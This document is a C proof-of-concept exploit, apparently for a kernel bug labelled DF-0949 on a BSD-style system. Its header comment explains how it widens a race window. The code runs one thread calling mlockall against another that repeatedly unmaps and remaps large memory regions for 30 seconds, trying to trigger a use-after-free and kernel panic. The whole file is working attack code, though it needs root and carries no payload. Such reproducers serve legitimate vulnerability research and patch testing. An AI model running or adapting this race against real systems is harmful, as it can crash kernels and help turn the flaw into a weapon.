/*
 * DF-0949 — sys_mlockall use-after-free PoC (v2 - tighter race).
 *
 * Strategy: pre-populate vm_map with many LARGE entries (so vm_fault_wire
 * takes longer per entry, widening the race window), then race a thread
 * doing mlockall(MCL_CURRENT) against a thread doing munmap of a
 * specific subset. The munmap must land during the window between
 * vm_map_unlock and vm_map_lock inside vm_fault_wire for the entry
 * mlockall is currently processing.
 */

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

#define NENTRIES   64
#define PAGES_PER  64           /* 256KB each; vm_fault loop scales with this */
#define ROUNDS     300

static size_t pg;
static void *addrs[NENTRIES];

static volatile int go = 0;
static volatile int stop = 0;

static void *munmap_thread(void *arg) {
    (void)arg;
    while (!go) { /* spin */ }
    int round = 0;
    while (!stop) {
        /* unmap a chunk of entries then immediately re-mmap them so
         * mlockall sees them in the next iteration */
        for (int i = 0; i < NENTRIES; i += 4) {
            munmap(addrs[i], pg * PAGES_PER);
        }
        for (int i = 0; i < NENTRIES; i += 4) {
            addrs[i] = mmap(NULL, pg * PAGES_PER, PROT_READ|PROT_WRITE,
                            MAP_PRIVATE|MAP_ANON, -1, 0);
            if (addrs[i] != MAP_FAILED)
                memset(addrs[i], 0x41, pg * PAGES_PER);
        }
        round++;
    }
    return NULL;
}

static void *mlockall_thread(void *arg) {
    (void)arg;
    while (!go) { /* spin */ }
    while (!stop) {
        if (mlockall(MCL_CURRENT) < 0) {
            /* EAGAIN / ENOMEM possible under memory pressure */
        }
    }
    return NULL;
}

int main(void) {
    if (getuid() != 0) {
        fprintf(stderr, "[!] DF-0949 requires root (mlockall is SYSCAP_RESTRICTEDROOT)\n");
        return 2;
    }
    pg = sysconf(_SC_PAGESIZE);
    printf("[*] DF-0949 mlockall UAF race (v2)\n");
    printf("[*] %d entries x %d pages each, %d rounds\n",
           NENTRIES, PAGES_PER, ROUNDS);

    /* Pre-populate the map with many large entries */
    for (int i = 0; i < NENTRIES; i++) {
        addrs[i] = mmap(NULL, pg * PAGES_PER, PROT_READ|PROT_WRITE,
                        MAP_PRIVATE|MAP_ANON, -1, 0);
        if (addrs[i] == MAP_FAILED) {
            perror("mmap"); return 2;
        }
        memset(addrs[i], 0x41, pg * PAGES_PER);
    }

    pthread_t t_mlock, t_unmap;
    pthread_create(&t_mlock, NULL, mlockall_thread, NULL);
    pthread_create(&t_unmap, NULL, munmap_thread, NULL);

    go = 1;
    printf("[*] racing for 30 seconds...\n");
    sleep(30);
    stop = 1;
    pthread_join(t_mlock, NULL);
    pthread_join(t_unmap, NULL);

    printf("[+] no panic observed in this run\n");
    return 0;
}